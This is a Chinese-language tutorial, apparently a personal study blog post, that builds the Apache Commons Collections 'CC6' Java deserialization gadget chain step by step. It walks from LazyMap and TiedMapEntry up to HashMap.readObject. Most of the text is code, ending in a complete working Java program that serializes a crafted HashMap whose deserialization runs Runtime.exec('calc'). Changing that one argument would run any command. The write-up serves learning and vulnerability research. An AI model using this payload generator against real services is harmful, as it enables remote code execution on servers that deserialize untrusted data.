CC6
环境搭建
环境和CC1差不多, https://www.cnblogs.com/starme/p/18464845
LazyMap.get -> ChainedTransformer.transform -> InvokerTransform -> Runtime.exec 这部分和CC1一样的,下面写的就比较简单
参考: https://www.bilibili.com/video/BV1yP4y1p7N7?t=2.3
大概链子:
分析
LazyMap.get 调用transform
TiedMapEntry.getValue 调用 get
TiedMapEntry.hashCode 调用 TiedMapEntry.getValue
HashMap.hash 调用 hashCode
HashMap.readObject 调用 HashMap.hash
首先是ChainedTransformer.transform -> r.exec
// ChainedTransformer.transform -> InvokerTransformer.transform
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
这一步差哪儿呢?---差个调用transform:
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = (ChainedTransformer) new ChainedTransformer(transformers).transform(transformers);
然后就要想办法调用transform
上面提到了LazyMap.get 调用transform
public Object get(Object key)
Object value = factory.transform(key);
显然就是要让factory = ChainedTransformer
LazyMap类的构造方法:
protected LazyMap(Map map, Factory factory)
public static Map decorate(Map map, Transformer factory)
需要一个Map map
HashMap<Object, Object> map = new HashMap<>();
所以LazyMap.get -> ChainedTransformer.transform
// ChainedTransformer.transform -> r.exec
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
LazyMap.decorate(map,chainedTransformer).get(111);
接下来就要想办法调用get
TiedMapEntry.getValue 调用 get
public Object getValue()
这个TiedMapEntry的构造方法:
public TiedMapEntry(Map map, Object key)
所以要让map = LazyMap
所以TiedMapEntry.getValue -> LazyMap.get
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
tiedMapEntry.getValue();
接下来找哪里调用getValue:
TiedMapEntry.hashCode -> TiedMapEntry.getValue
public int hashCode()
无参,直接将上面的getValue改为hashCode即可
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
tiedMapEntry.hashCode();
然后找哪里调用了hashCode():
HashMap.hash 调用 hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
显然就是要让key = tiedMapEntry
这个hash没有被public修饰,所以不能直接调用(作为静态方法或者对象的方法,即类.方法名或对象.方法名这两种都不行)
那就直接到readObject里面吧
也就是HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashCode
这个是稍微有些长的
需要让key = tiedMapEntry
HashMap的构造函数:
public HashMap(int initialCapacity, float loadFactor)
所以
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaaa");
总的来说就是:
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
// tiedMapEntry.hashCode();
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaaa");
serialize(map2);
unserialize("ser.bin");
但是发现在序列化的时候直接执行了。。
这个问题就跟URL dns链一样
在put方法里面触发了hash方法
现在来改一下LazyMap:
将
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
改为:
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
这样改了之后导致LazyMap.get 不能到ChainedTransformer.transform
随即增加代码:
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
将LazyMap中factory的值改为chainedTransformer
这样改了之后序列化没有触发calc,但是在反序列化的时候也没有触发
究其原因是在执行LazyMap的get函数时,触发key.containsKey(key)发现其为true,使得不能进入factory.transform(key)
所以要将其删除
这里的key是111
即:
lazyMap.remove(111)
光是按步入可能会跳过,还是需要打断点来精确定位问题所在处
值得注意的是
CC6用了两个map,对这两个map,分别进行了不同的处理,一个是为了绕过hash,一个是为了绕过map.containsKey(key) == false
完整代码
package org.example.CC;
import org.apache.commons.collections.MapUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
// ChainedTransformer.transform -> r.exec
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
// tiedMapEntry.hashCode();
HashMap<Object,Object> map2 = new HashMap<>();
// 先将HashMap.readObject -> TiedMapEntry.hashCode 串起来
map2.put(tiedMapEntry,"aaaa");
lazyMap.remove(111);
// 然后再来避免意外情况
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}